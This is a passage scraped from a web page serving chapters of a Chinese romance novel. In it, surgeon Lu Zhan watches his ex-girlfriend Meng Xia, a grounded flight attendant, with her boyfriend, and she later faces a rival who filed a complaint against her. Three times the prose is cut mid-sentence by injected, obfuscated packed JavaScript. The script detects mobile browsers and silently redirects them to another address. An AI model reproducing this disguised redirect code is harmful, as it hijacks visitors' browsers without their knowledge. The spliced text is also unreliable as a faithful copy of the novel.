$(''#content'').append('' 题解决了吗?我可是经常听科里的几个小姑娘议论你啊,怎么样?处对象了吗?” 没等陆瞻开口,章军怀先哈哈笑了:“哪来的对象?他整天不是门诊就是病房,标准光棍一个。” “这可不行,”李鸣语气夸张,“小陆一表人才,年纪轻轻哪能光泡在医院里,说说,有什么要求?我也好帮着留意。” “你可别跟我抢啊,”章军怀摆了摆手,“上次我还跟他说呢,打算把我外甥女介绍给他。” 提到这儿,他侧头冲陆瞻说:“回头我约个时间,你小子得给个面子啊。” 面对前辈领导,陆瞻不便直接回绝,更无意当着大家面拂了老师章军怀面子,应了一声。 众人笑起来,附和几句“模样好就是抢手”之类的调侃,李鸣脸上笑容却淡了几分,在他眼里,陆瞻和他两人这么一唱一和的,无异于间接表明了立场。 李鸣又意味深长地瞥了眼整晚滴酒未沾的陆瞻,半开玩笑地跟旁人调侃,说陆医生不给面子,一晚上怎么劝都不喝一杯,还说自己这酒是私藏,平常都舍不得拿出来。 陆瞻并非不懂人情世故,听见李副主任的打趣,他起身,拿过分酒器给自己倒满一杯,“李主任您别介意,实不相瞒,这几天胃不太舒服,吃着药。这杯敬您,感谢您今晚盛情。”说着将杯中酒一饮而尽,“我干了,您随意。” 段宏医生是李鸣的同班同学,私下交情甚笃。 他与陆瞻搭过几次班,颇欣赏这年轻人的踏实,见状笑着打圆场:“我作证,前天手术前还见陆医生吃药呢,要我说,年轻人不贪酒是好事,哪像咱们,明明知道伤身,就是管不住嘴,还好意思劝病人少喝。” 在座的几人深有同感,气氛重回热闹,李鸣也顺势举杯,见好就收。 包厢闷热,陆瞻与身旁同事低语一句,起身出门透气。傍晚的寒风扑面而来,吹散身上隐约的酒气。 稍站片刻,他转身进去向前台借火,走到室外吸烟区,从口袋摸出烟盒,抽出一支点燃。 他没什么烟瘾,不过是偶尔需要这样一个动作来放空自己,火星亮起的瞬间,淡青色烟雾慢悠悠缠上来,陆瞻没往唇边送,任由烟卷在指间静静燃着。 目光无意间扫过酒店门口,一辆江城牌照的墨绿色跑车缓缓停下,主驾的男人先下车,把钥匙递给迎上来的泊车小弟,随后绕到副驾旁拉开门。 那头惹眼的粉金发色出现的瞬间,陆瞻的视线顿住,敛起嘴角。 孟夏穿着一件黑色毛呢大衣,长发半挽,几缕碎发垂在颊边,衬得肤色愈发白皙,眉眼间情绪不高。 穿着灰色外套的男人顺势抬手揽住她的肩,低头凑近她耳边低声说了句什么,她愣了愣,随即眉眼慢慢舒展开来。 男人又低头,在她脸颊上亲了一下,动作熟稔亲昵,接着揽住她的腰,两人相拥着朝酒店前台走去。 陆瞻站在阴影里,看着那两道背影,原本松缓的心绪骤然沉底。 他无意识收紧手指,将烟凑到唇边,狠狠吸了一口。 视线里,孟夏身旁的男人从前台接过房卡。 陆瞻缓缓收回目光,沉默数秒,从口袋里摸出手机。 4. 第4章 收到祝炎枫微信时,孟夏刚洗完澡出来,发梢还滴着水。信息内容很简单,先问她在哪,接着又发来一张晏城高速出口的照片。 孟夏点开图片,脸上没什么表情,心里却悄然涌上一股微妙的烦躁。 她盯着屏幕思忖几秒,最终还是将曾佳怡家的地址发了过去,随即又点开软件,指尖滑动,快速订好附近一家五星级酒店。 祝炎枫的车很快到了楼下,孟夏换了身衣服下楼,走到那辆熟悉的跑车旁,他停好车,径自绕到车尾,“咔哒”一声打开了后备箱。 站在一旁的孟夏有些疑惑地跟过去。 待她走近,祝炎枫先伸手将她揽进怀里,抱了一下。松开时,目光落在她新染的发色上,有些意外地挑了挑眉:“哟,你这是......不打算继续飞了?” 孟夏撇过头,没接这个话茬,视线落向后备箱,里面整整齐齐码着几个包装精美的礼盒,一看就价值不菲,她困惑地问:“这些是什么?” 祝炎枫笑着捏了捏她的脸颊,语气理所当然:“第一次正式登门拜访,我总得表示表示吧?不知道叔叔阿姨具体喜欢什么,我就按常规的备了点。你看看,有没有什么需要加的?现在去买也来得及。” 孟夏没作声,沉默了几秒,才抬眼看他,“这是我朋友家,我这次回来,没跟我爸妈说。” “什么意思?” “我被投诉,停飞了,没回家,也没告诉他们。”说完,孟夏耸耸肩,拉开副驾的门坐了进去。 祝炎枫站在原地,盯着她的背影看了片刻,才绕回驾驶座。 他坐进去慵懒地往后一靠,半开玩笑半是抱怨:“害我白激动一场,中午开完会还特意去收拾了一下。” 他侧过头,看向孟夏,“你到底打算什么时候,才肯把我引荐给叔叔阿姨?孟夏,你男朋友我......也不算拿不出手吧?” 恋爱一年半,孟夏的家人虽然知道有他这号人物的存在,但他一直没机会正儿八经的露个脸。每逢林微澜打来视频电话,只要祝炎枫在旁边,孟夏总会下意识地避开镜头,从不让他入镜或出声。 去年过年她难得有假期,他提出陪她一起回晏城,正式登门拜访,也被她三言两语挡了回去。 谈恋爱是谈恋爱,可是见家长的意义就不一样了。 孟夏有些好笑地睨了他一眼,主动地凑近些,伸手揉了揉他蓬松的短发,语气带着安抚的调侃:“你当然拿得出手,我们祝少爷最帅了,等下下车你得戴好口罩,不然容易给我们小小晏城的交通造成堵塞。” 见她主动靠近,语气软和,祝炎枫脸色稍霁,伸出右臂将她揽近。 他倾身附在她耳畔,温热的呼吸拂过她颈侧的皮肤,双唇轻轻吻了吻她的耳垂,声音压低:“这么久不见......想你了。” 孟夏被他吻得呼吸渐渐乱了节奏,车内狭小的空间里,温度仿佛在悄然升高,她抬手勾住他的脖颈,微微仰头,回吻过去。 情到浓时,祝炎枫口袋里的手机却嗡嗡地震动起来,持续不断,回过神的孟夏推了推他的胸膛,拉开了些许距离,示意他先接电话。 “喂,妈。” “不用,我不在家。” “我真不在,我在晏城。” 电话那头,康逸女士的声音似乎一下子拔高了许多,带着明显的惊诧和不悦,连坐在一旁的孟夏都能隐约听到几句: “晏城?你好端端地跑那儿去干什么?祝炎枫,你别告诉我你是跑人家家里去了!” 祝炎枫偷偷瞥了眼孟夏,孟夏佯装不觉地看着窗外。 “您有事吗?没事我先挂了。” “我能没事吗?我让乔彤给你送点东西,现在人都到你家门口了,你说怎么办?” “能怎么办,”祝炎枫语气里带上一丝不耐,打断道,“是您让她送的,可不是我,让她哪儿来的回哪儿去。” 他干脆利落地挂了电话,扭头看向孟夏,语气有些讪讪,“是我妈。” 孟夏只“嗯”了一声,反应有些冷淡,她低头摆弄手机,发给他一个定位地址,“我定了酒店,送你过去。” “送我?”祝炎枫有意想缓和两人之间莫名又紧绷起来的气氛,拉住她的手,带着点委屈和期待,“难道不是......陪我吗?” 孟夏拍开他的手,没什么情绪地应了声:“开车吧。” 瑞澜酒店离得不远,办理好入住手续后,祝炎枫自然地揽着她的腰,两人一同走进了电梯。 房间在十二层,刚用门卡刷开房门,孟夏握在手里的手机就响了起来。 屏幕上跳动的那一串数字,曾经倒背如流,如今即便没有储存名字,也依旧烂熟于心。 看了眼已经踏进房间的祝炎枫,她做了个手势示意他先进去,自己则留在走廊,背靠着墙壁,接通了电话。 她佯装不知,语气平淡:“哪位?” 对面愣了一瞬,“是我,陆瞻。” “哦,”孟夏背靠着墙,脚尖无意识地在地毯上来回蹭着,“什么事?” “现在有空吗?把卤肉给你。” “现在?”孟夏皱了皱眉,看了眼虚掩的房门,“没空。” “林老师说放久了口感不好。” “那你就都吃了吧,”孟夏语气随意,“不用给我留。” “我不吃辣。” “又不是没吃过。” 她说完,听筒里陷入一片安静,等了半晌都没有回应,孟夏下意识地把手机拿远了些,看了眼屏幕,以为信号断了。 刚要“喂”一声,又听见对方公事公办道:“手术前要多注意休息,不要过度劳累。” 孟夏应了一声,顿了顿,又问:“还有事吗?” 陆瞻咳了一声,低沉的声音透过电流传过来,“还有,术前,最好不要和异性有亲密行为。” “......” 和异性,亲密行为? 孟夏握着手机贴在耳边,听完这句话,眼底飞快地掠过一丝错愕,随即,她回过神,对着空气无声地翻了个白眼, 心里狠狠骂了句:有病。 手指毫不犹豫,按下了挂断键。 - 宴席将散时,李鸣兴致颇高,提议转场去隔壁新开的KTV续摊。 刘琪琪等三位实习生闻言,脸上不约而同地流露出一丝细微的抗拒和为难,但身为还在轮转实习的学生,这种场合下谁也不好开口推辞。 一晚上的虚与委蛇让人疲惫耗神,陆瞻眉头微拧,面上带着恰到好处的歉意,如实婉拒:“李主任,实在抱歉,明天一早还有台手术,唱歌我就不去了,你们玩得尽兴。” 向李鸣致意后,他又转过身批评刘琪琪一行,“你们几个,今天交上来的病程记录写得像什么样子?连最基本的格式都还在出错,我送你们回学校,今晚改好发我邮箱。” 病程记录?格式错误?刘琪琪心里有些纳闷,陆老师早上查房时不是还肯定了他们有进步吗?怎么这会儿... 比她和史纪元反应更快的是同届隔壁班的于深,他连忙接话认了错,并表示他们等下回学校了加班也会改完。 李鸣在一旁听完,哈哈笑了几声。 这位平日里对实习生要求严苛、少有好脸色的副主任,此刻却化身为体恤后辈的暖心前辈,温和地安抚了三个年轻人几句,又意有所指地“指点”陆瞻:“小陆啊,对学生还是要以鼓励为主嘛,把架子放一放,别太严厉了。” 陆瞻面色不变,点头应了声“是”,随即拿起车钥匙,目光淡淡扫向三人,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202991|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走?” 停车场西侧候着一圈代驾,其中一个年纪不大、看着挺机灵的小伙子见状,立刻快步走了过来。 直到坐进车里,刘琪琪才后知后觉地回过味来,她悄悄戳了戳坐在右边的于深,“你刚刚反应怎么那么快?” 于深往旁边避了避,“是你脑子转的太慢。” 坐在左边的史纪元也扭过头,干笑两声,“我脑子好像也有点慢......” 刘琪琪没理他俩,身子向前倾,趴在前排副驾椅背上,“陆老师,谢谢您....这种饭局,真的太煎熬了。” 陆瞻:“等你们以后正式工作了,避免不了,慢慢适应吧。” 刘琪琪无声地点点头,过了一会儿又说:“陆老师,您让司机把我们放在前面地铁站就行,我们自己坐地铁回学校,很方便的。” “对对对,”史纪元连忙附和,“我们三个一起,没问题的。” 陆瞻靠在座椅里,闭目养神,“没事,很久没回晏大了,我顺路看两眼。” 晏城虽只是小城市,但晏城大学名气却大,是实打实的双一流高校,其医学院更是学校的王牌院系,在全国都享有盛誉,每年的录取分数线居高不下,陆瞻当年便是以全市理科第六的优异成绩考入晏大医学院。 可惜被他悉心辅导了整整半年的孟夏,却因为高考那两天突发低烧,状态不佳,最终成绩只勉强够到了挂靠在晏大名下同用校区的二本学院。 车子驶入大学城,稳稳停在晏大东门,大门一侧的小吃一条街灯火通明,热闹得很。 刘琪琪收拾好自己的背包,下车前,还是没忍住:“陆老师,要不要下来吃点宵夜再走?校门口有一家炸串摊,特别特别好吃!” 陆瞻对她的热情邀请无动于衷,只冲三人嘱咐道,“早点回去休息,明天上班不许迟到。” 刘琪琪还想再说点什么,被旁边的于深一把拽住背包带子往后拉,“少吃点吧,你一天不摄取地沟油就难受。” “诶诶,你拉我干什么,”刘琪琪踉跄两步,还不死心地回头张望,“我还没跟陆老师说呢,咱们学校门口新开的那家奶茶店,他以前上学肯定没喝过......” 于深睨了她一眼,“少犯点花痴行不行?再磨蹭寝室该锁门了。” 一旁的史纪元极其没有眼力见儿地插话:“还早呢,离咱们宿舍门禁至少还有两个小时。” 于深嘴角绷紧,视线轻描淡写地扫过去,心里暗暗叹了口气,自己的同期,怎么没一个脑袋灵光的。 随着车门“砰”地一声关上,车里瞬间陷入骤然的安静,代驾小王问陆瞻把他送到什么地方。 陆瞻没急着应声,指尖搭在窗边顿了顿,缓缓降下了半扇车窗。 目光落在街口那家移动炸串摊,摊位前围满了人,氤氲的热气模糊了摊主忙碌的身影,记忆却像是被这热气烫了一下,唰地就翻涌上来。 孟夏最喜欢这些乱七八糟的小吃,大学那会儿总爱拽着他往这儿钻,叽叽喳喳的,嗓门比摊主的吆喝声还大,天天喊着要“改善伙食”。 可他俩口味天差地别,他偏爱清淡,她却无辣不欢。 那时候,她总喜欢举着裹满辣椒的炸串,眼睛亮晶晶地,硬往他嘴边凑,语气霸道得不行:“张嘴!尝尝嘛!你信我,这个不辣不好吃的!而且这只是微辣,根本一点也不辣!!” 等他皱着眉咬下去,辣得直咧嘴,她却笑得前仰后合,眼泪都快出来。 汽车平稳地驶上环城路,冷风持续不断地从半开的车窗灌入,带着晏城冬日的寒意,他摇上车窗。 大约半分钟后,陆瞻搁在身侧扶手箱上的手机震了一下,不轻不重。 阖着眼假寐的他凭着惯性抬手去摸。 [你有喜欢的人了?] 5. 第5章 孟夏订的是间观景房,整面墙都是通透的落地玻璃,视野极佳。 浴室里传来哗啦啦的水声,她的视线落在窗外流光溢彩的江景上,眼神有点放空。 睡前,林微澜想起托陆瞻转寄的卤牛肉,接连给孟夏发了好几条微信: [在飞吗?] [给你寄了点卤牛肉,估计明天到江城,收到后记得放冰箱冷冻层,想吃的时候提前拿到冷藏解冻。] [你那房子是不是快到期了?] 抬眼瞥了眼浴室门,听着里面没个停歇的动静,孟夏懒得打字,索性直接摁了拨号键,给林微澜回了个电话。 林微澜正靠坐在床头看书,看见来电显示,顺手摘下眼镜:“和同事在酒店呢?” 这两年,孟夏但凡不主动打视频,多半是因为飞在外地,和同事合住酒店不方便。 孟夏窝进沙发,面不改色:“嗯。” “给你寄了点辣卤牛肉,用的好腱子,小陆尝了都说我这次手艺不错,明天应该能到江城,你记得及时收,别放坏了。” “他吃不了辣。”孟夏瞥了眼浴室,无意识地接话。 “这我还能不知道?”林微澜笑了两声,“给小陆的那份,我没放辣椒的。” “哦。” 林微澜话锋一转,说起正事:“对了,你租的那套房子,是不是快到期了?我跟你爸商量了,年前抽空去趟江城,陪你看看房子。你现在工作也稳定,我俩想着给你买套房。” “买房子干什么?”孟夏微微蹙眉,“我现在租着住挺好的。” “难道让你一直租房?”林微澜的语气带上了一丝不赞同,“女孩子家,工作之外总得有个完全属于自己的地方,踏实。再说,你现在和小祝谈着恋爱,以后要是......结婚了,在江城有个自己的房子,我跟你爸过去看你也方便,有个落脚处。” 听到“结婚”两个字,孟夏的太阳穴就开始隐隐作痛,“八字没一撇的事情,您想太多了。” 林微澜是什么人,当了好几年班主任的老教师了,话里话外寻到一丝不对劲的味道,她皱了皱眉,“怎么?和小祝闹别扭了?他欺负你了?” “没有,没有的事,您别瞎猜了。”孟夏不想在这个问题上纠缠,生硬地转移话题,“我爸呢?” “你爸洗澡呢。”林微澜听出女儿的不耐烦,暂且按下了心里的疑虑,不再多问,心里暗暗打算等再过一个月放寒假,和老孟一起跑趟江城。 老两口半年前就在琢磨这件事了,两人工作多年,公积金账户里攒了一笔不小的数目,放着也是放着,不如趁现在给女儿在江城置办个产业,总比她一直漂着租房强。 孟夏正想找个借口结束通话,听筒里又传来林微澜的声音: “对了,夏夏......你陆瞻哥是不是有喜欢的人了?” “啊?”孟夏被这突如其来的问题问得一愣,心头莫名一跳。 “上次我说想给小陆介绍对象,他直接就给拒了。”林微澜回忆着当时陆瞻的神情语气,“我后来琢磨着,他那反应,总有点欲盖弥彰的味道,毕竟隔着层关系,他可能心里有人,但不好意思跟我们直说。” 顿了顿,她继续道,“我看他不像是完全没心思的样子,你们年轻人之间好交流,你有空也多问问,关心关心。怎么说他也是跟你一起长大的哥哥,你顾姨走得早......要是他真有了喜欢的人,我跟你爸,也好跟你陆叔通个气,帮着张罗张罗。” 孟夏听着,喉咙里含糊地应了一声:“......知道了。” 她蜷缩在沙发里的脚趾无意识地收紧,整个人又往柔软的沙发深处缩了缩。 地下恋情分手的“后遗症”,在此刻展现得淋漓尽致,分手后还要若无其事的领命关心前男友是不是有了心上人。 挂断电话后,孟夏心里那点细微的滞涩感,像一根极细的刺,轻轻扎在那里,不痛,却无法忽视。 孟夏没动声色,垂着眼睫,漫不经心地摩挲着手机,想了想,打开微信,编辑信息发送过去。 - 祝炎枫从浴室出来时,孟夏的视线落在正播放着无聊广告的电视屏幕上,眼神却没什么焦点。 自从发出那条微信后,她就有些控制不住地走神,不可避免地回想起和陆瞻在一起的日子。 当年提出地下恋的是孟夏,这段感情的开始,本就带着点她强买强卖的意味。再加上孟陆两家关系太近,父辈往来密切,她总觉得,万一中途感情出了什么岔子,还要惊动长辈给出一番解释交代,实在麻烦得很。 提出这个想法后,陆瞻蹙紧了眉头,满脸的不赞同。他大概无法理解,正大光明的恋爱为何要遮遮掩掩,可最终还是拗不过孟夏的坚持,只能无奈松口。 那三年半,陆瞻真就依着她的心思,两人在父母面前把这段感情捂得严严实实。 直到最后半年,某个窝在他怀里的夜晚,陆瞻盯着她的眼睛,语气认真,“外婆总念叨着想看我带女朋友回家,这次放假,你跟我一起过去吃个饭,嗯?” “想什么呢?”祝炎枫擦着湿发在孟夏身边坐下,带着沐浴后水汽的手臂自然地搭在沙发靠背上,往她这边倾了倾身,温热的呼吸拂过她的耳廓,下一秒,带着清冽味道的吻就落了下来,轻轻蹭过她的脸颊。 不知怎么回事,陆瞻方才电话里那句突兀又严肃的医嘱,突然在她耳边炸响,她身体一僵,下意识偏头躲开,指尖抵在祝炎枫的胸口推了推,“别闹。” “躲什么?”祝炎枫嗓音微哑,“不想我?” 话音未落,他手上用了些力,将孟夏往自己怀里带了带,低头再次吻下来,唇瓣辗转厮磨,甚至带了点惩罚意味,轻轻咬了下她的下唇。 孟夏被他箍得动弹不得,只好偏着头往后仰,脖颈绷出纤细的线条,另一只手抵在他胸口,力道比刚才重了些,语气也添了几分不耐:“说了别闹,我没心思。” 祝炎枫以为她的心情和兴致被投诉停飞和自己母亲刚才的那通电话影响,眼底的热度也慢慢褪下去,松了手,往后退开些,靠着沙发靠背,扯了扯浴袍的带子,不再勉强。 “明天什么安排?我难得来一趟,真的不考虑......带我见见叔叔阿姨?” 孟夏侧过头觑他一眼,“你总想见他们做什么?你之前不是说自己最害怕的就是高中老师吗?” 祝炎枫伸手一把将她揽过,让她的头靠在自己肩上,半是玩笑半是认真地说:“我是怕,但如果是未来的丈母娘......那我好像也能努努力,克服一下。” “你才多大?”孟夏实在有些不能理解,从他怀里挣开些,抬眼看他,“这么......恨嫁?”以她对祝炎枫的了解,他家世好,样貌出众,身边从不缺人环绕,这样的男生,按理说更应该享受恋爱的自由和无拘无束,急着见对方家长、确定关系,倒是少见。 祝炎枫看见她眼中毫不掩饰的惊诧和疑惑,自己也对心底那份突如其来的迫切感到一丝失语。他不是情窦初开、毫无经验的毛头小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202992|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可不知为何,和孟夏在一起的这段恋爱,总让他隐隐不安。 或许是因为孟夏表现得比他还要松弛,还要不在乎,从不肯轻易让他走入她的家庭领域,反而让他生出了一些不确定的危机感。 “我只是想把咱俩的感情往前推进一步,你见我父母,我见你父母,这难道不是谈恋爱正常的流程?” “推进?你确定在你母亲面前,咱俩的感情是往前推进了吗?”孟夏耸耸肩,“别告诉我你一点也不知道你母亲对我的不满意。” 祝炎枫移开视线,叹了口气:“所以我才说,趁她生日,你跟我一起去,总要给她机会多了解你,慢慢发现你的好。” 孟夏嗤笑:“有必要吗?” 祝炎枫的母亲康逸每次见她都客客气气的,说话温温柔柔,可那眼神里的疏离,明眼人都能瞧出来。 孟夏心里门儿清,不用对方说破,也知道她有些看不上自己,大概是觉得,她一个二本毕业做空乘的,配不上她那名牌大学毕业的儿子。 更别提她还不是江城本地人,在这座城市没根没底,这在康逸看来,大概也是个不小的“短板”。 起初,她也像所有初次面对男友长辈的女孩一样,小心翼翼,尽力表现。可后来她渐渐明白,对方表面的客气周到之下,是根深蒂固的疏离和审视,从未真正将她放在眼里,更别提放在心上。 时间久了,她也厌倦了这种需要刻意讨好,等待被认可的游戏。 她的好,什么时候需要她康逸的发现和承认了? 况且,见家长这件事,一开始本就不在孟夏的计划里。 或许是她这副过于云淡风轻、甚至显得有些不屑的态度惹恼了祝炎枫,他脸色沉了沉,“孟夏,你这话什么意思?怎么就没必要了?” 孟夏见他脸色不好,眉宇间染上愠怒,适时收住话头,没再继续争锋相对。 成年人的世界,要操心烦恼的事情已经够多,她早就学会了不为这种不痛不痒,又争不出结果的琐事耗费心神据理力争。 孟夏缓和语气,“你开了几个小时车,也挺累的吧?要不......早点休息?” “明天我带你去江边走走?晏城的江景不错,然后再带你去我以前的大学门口逛逛,那边小吃很多。” 祝炎枫听了这话,脸上的阴云散了些,却还是没什么好脸色,他从沙发上站起身,没再瞥孟夏一眼,趿着酒店提供的一次性拖鞋,踢踢踏踏地径直走到床边,掀开被子躺了上去,连个眼神都没再分给她,摆明了还在闹别扭。 客房顶灯明亮的光线有些晃眼,孟夏在原地站了半分钟,犹豫着往床边挪了两小步,看见祝炎枫背对着她,显然没有要搭理她的意思。 孟夏很识相地停下脚步,“那你先休息,好好睡一觉,明早我再来找你。” “砰”的一声轻响,房门隔绝了室内的一切,她长长地舒了口气。 酒店走廊的凉意裹着清新的香氛漫过来,瞬间吹散了房间里那股让人窒息的沉闷,孟夏忍不住抬手揉了揉发紧的太阳穴,脚步轻盈几分,朝着电梯口走去。 指尖刚按亮下行键,电梯门就“叮”的一声缓缓打开,与此同时,手里的手机轻轻震了一下,亮起的屏幕上,是那个万年不变的头像。 孟夏解锁手机,打开对话框,上面只显示着一行系统小字:“L”撤回了一条消息。 搞什么? 她蹙起眉,盯着那行小字看了两秒。 发送了一个简短的问号过去:[?] 6. 第6章 翌日,孟夏应允的江边之行终究是没能成行。 她一大清早刚醒,就接到了客舱服务部经理郑雅琴的电话,对方语气干脆,通知她关于投诉事件的调查有了新进展,问她什么时候方便,需要尽快到公司面谈。 孟夏瞥了一眼床边摊开的行李箱,心里快速估算了一下从晏城开车返回江城所需的时间。 “我尽量在下午四点前赶到公司。” “OK,”郑雅琴利落地应下,“那我在办公室等你。” 挂了电话,孟夏没再多耽搁,十分钟后,她已经收拾好行李,打车到了瑞澜酒店。 好在祝炎枫的情绪自我调节能力不错,一夜过后,昨晚那点不愉快似乎已经烟消云散,得知她临时接到公司通知后,也没多问什么,在酒店餐厅仓促解决了早饭,便退房驱车,驶上了返回江城的高速。 车子平稳地驶出,穿梭在江城市区,祝炎枫一手搭着方向盘,目光扫过前方路况,余光却总忍不住往副驾飘。 孟夏正对着车载化妆镜补妆,手肘支在车窗边,姿态舒展利落。 他忍不住勾了勾唇角,心情颇佳:“几点完事?来接你。” 投诉调查拖了这些天,按理说应该不会占用太长时间,孟夏合上口红盖子,想了想,“五点吧,应该差不多。” 除了刚入职办理各种手续的那段时间,江航的行政办公楼,孟夏来得不多。 电梯上行,金属门映出她清晰的身影,刚走到客舱部办公室所在的走廊,还没到门口,便迎面撞上正往外走的郑雅琴。 “嚯!你这发色可够酷的啊!”郑雅琴看见她,顺势一把拉住她的胳膊,脚下不停,“正好你来了,咱俩边走边说。” 她引着孟夏,径直朝走廊尽头一间相对僻静的小会议室走去。 “雅琴姐,”孟夏被她拉着,忍不住低声追问,“到底是谁投诉的?那理由根本就是无稽之谈,公司现在怎么处理的?” 郑雅琴脚步微顿,侧头看了她一眼,“孟夏,你跟我说实话,你是不是....得罪什么人了?” 她摆摆手,没等孟夏回答,又压低声音快速说道:“这事吧,说大也大,说小也小。我们这边已经和投诉者本人初步沟通过了,对方现在的态度是....只要你肯当面道个歉,这事就算翻篇了。” “道歉?”孟夏似乎被气笑了,“我什么都没做道哪门子歉?” 郑雅琴也头疼得很。 孟夏这个人她了解,当初面试就是她一眼相中,亲自招进来的。这姑娘性格开朗,有点大大咧咧,爱玩爱笑,工作上偶尔犯点小迷糊不假,但要说她“私生活混乱”、“乱搞男女关系”,郑雅琴是万万不信的。更何况,那位投诉人从头到尾也拿不出任何像样的证据。 可奈何,对方是公司的至尊金卡客户,级别太高。上头领导直接给她施了压,不管用什么方法,必须尽快让投诉方撤销投诉,平息事端。 “投诉人现在....就在里面。”走到那间小会议室的门口,郑雅琴停下脚步,拉住孟夏的胳膊,语气带着劝慰,“人家提出想和你私下见个面,聊一聊。这样也好,夏夏,你进去看看,是不是中间真有什么误会?如果有,当面说开了,对谁都好,不然这事一直悬着,耗着你停飞也不是办法,对吧?” 孟夏皱紧了眉头,没再多说什么,点点头,推门进去。 - 约见完投诉人,孟夏又在郑雅琴的办公室里坐了好一会儿,起初那股难以平复的憋闷心气,在雅琴姐一番推心置腹的宽慰下,才渐渐缓和了些许。 怪不得她总觉得苏见萤偷拍的那张背影照片眼熟,今天在小会议室里见到本尊,她才恍然,这位至尊金卡投诉人,原来就是男友祝炎枫那位青梅竹马的世家妹妹。 孟夏很庆幸自己今天穿了一双鞋跟足够高的鞋子,至少在踏入会议室、与对方视线相接的第一瞬间,完美拿下开局。 不过平心而论,孟夏觉得这个乔彤,和祝炎枫的母亲康逸女士倒是颇有几分神似。两人都习惯维持着表面温和有礼的仪态,眼神深处却总藏着一种居高临下的倨傲。 “你就是孟夏。”世家妹妹妆容精致,眼神却带着毫不掩饰的敌意,见她进来,直奔主题,“我是祝炎枫的未婚妻乔彤。” 她刻意把“未婚妻”三个字咬得很重。 “我投诉你,是因为你身为空乘,却不务正业,纠缠我的未婚夫,这已经严重影响了我的生活,也有损你们航空公司的形象。” “你好。”孟夏神色平静,淡淡抬眼,“祝炎枫没跟我说过他订婚的事,也没提过有个什么未婚妻。” 她拉开对面的椅子坐下,不疾不徐:“乔小姐,首先,我不清楚你所说的纠缠具体指什么,其次,我与祝炎枫之间的关系,属于私人范畴,与我的工作无关,谈不上损害公司形象。” “我跟祝炎枫是门当户对,两家是世交,长辈们早就口头约定了我们的婚事!”乔彤被她的冷静噎了一下,加重语气,“我不管,你必须向我道歉,并且立刻跟祝炎枫分手!否则,我就继续向你们公司高层投诉,让你连这份工作都保不住!” 写剧本呢?这套老掉牙的戏码。 孟夏直直对上乔彤的目光,“第一,我没做任何需要向你道歉的事;第二,我和祝炎枫之间的事,要分要合,也是我们两人自己决定。” 她顿了顿,语气里多了几分嘲讽,“既然是未婚妻,不去找自己的未婚夫问清楚,反而跑到别人的工作单位来闹,乔小姐,你觉得更丢人的,是谁?” 乔彤被她这番毫不客气的回击怼得脸色一白,随即涨红:“你别不识抬举!康阿姨早就说过不喜欢你,说你一直缠着炎枫哥不放!我好心提醒你,是给你留面子,免得你到最后难堪!” “多谢你的好心。” . “要我说,你就服个软,跟人家道个歉,说两句好话把这事了了。咱们公司的规定你又不是不清楚。”郑雅琴给孟夏倒了杯茶,“她现在咬死不撤诉,还扬言要向高层反映,孟夏,你说最后吃亏的会是谁?” 孟夏垂下眼睑,捏着茶杯,半天没有作声。 职场上很多事情就是这么不讲道理,在江航,至尊金卡是实打实的“空中贵宾”,投诉要是上升到高层,航司使出浑身解数都要哄着对方撤诉。 对一线空乘来说,惹到金卡乘客等于踩了雷区,只要不撤诉,停飞、处分甚至开除都是家常便饭,没人敢怠慢。 更主要的是,如果解决不了,孟夏的直属领导也会被连带问责,她心里早就把郑雅琴当作姐姐一样看待,并不想因为自己的事,给她带来不必要的麻烦。 郑雅琴看她情绪低落,神色疲惫,也不再多劝,只是拍了拍孟夏的肩膀:“行了,你也别太钻牛角尖,先回去好好考虑考虑吧。”最近客舱部事务繁杂,她自己也有些焦头烂额,“明天,明天给我个答复。” 快到五点的时候,祝炎枫发来微信,说公司临时有应酬饭局,没法来接她了,孟夏在食堂吃了个晚饭才离开。 租住的小区离公司不算太远,她扫了一辆共享电动,慢悠悠地汇入晚高峰略显拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202993|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤的车流。 骑到十字路口,红灯亮起,电动车缓缓停下,旁边一个戴着眼镜的姑娘,正举着手机跟人视频,声音甜腻:“妈,我今天下班早,你答应我的糖醋排骨做没做呀?” 风从耳边吹过,孟夏握着车把的手紧了紧。 这三年的空乘生涯,早把她心里那点对自由的憧憬和心气磨得一干二净。 飞不完的红眼航班,应付不完的突发状况和情绪各异的乘客,落地后不是没完没了的航后复盘、安全学习,就是填不完的表格、考不完的试,连喘口气的功夫都没有。 当初大学毕业,执意离开晏城进入江航,从某种意义上说,也是一种逃离。 林微澜和孟征是重点中学的老师,两人一辈子跟分数较劲,除了自己的学生外,把所有的严谨和期待全砸在了孟夏身上。 